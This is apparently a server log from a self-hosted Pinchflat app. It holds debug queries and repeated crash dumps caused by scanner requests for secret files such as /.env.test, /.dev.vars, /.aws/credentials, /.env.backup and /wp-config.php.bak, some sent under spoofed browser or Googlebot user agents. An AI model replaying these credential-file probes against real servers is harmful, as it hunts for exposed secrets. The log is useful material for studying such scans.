s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.678 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.678 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.678 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.678 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.679 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.677 [error] #PID<0.3594.0> running PinchflatWeb.Endpoint (connection #PID<0.3591.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3594.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3jHiVOf5PoAAUbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade (truncated) 02:30:23.679 [error] #PID<0.3601.0> running PinchflatWeb.Endpoint (connection #PID<0.3599.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.dev.vars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3601.0>, params: %{}, path_info: [".dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dev.vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3jbWpr0BNwAAUeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3601.0>, params: %{}, path_info: [".dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => (truncated) 02:30:23.680 [error] #PID<0.3598.0> running PinchflatWeb.Endpoint (connection #PID<0.3596.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3596.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41310}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3598.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3jU8u6ctxkAAUdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3596.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41310}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3596.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41310}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3598.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded- (truncated) 02:30:23.681 [error] #PID<0.3602.0> running PinchflatWeb.Endpoint (connection #PID<0.3600.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3600.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3602.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3jbvq4U5pYAAUfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3600.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3600.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3602.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflat (truncated) 02:30:23.679 [error] #PID<0.3597.0> running PinchflatWeb.Endpoint (connection #PID<0.3595.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /wp-config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41298}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", 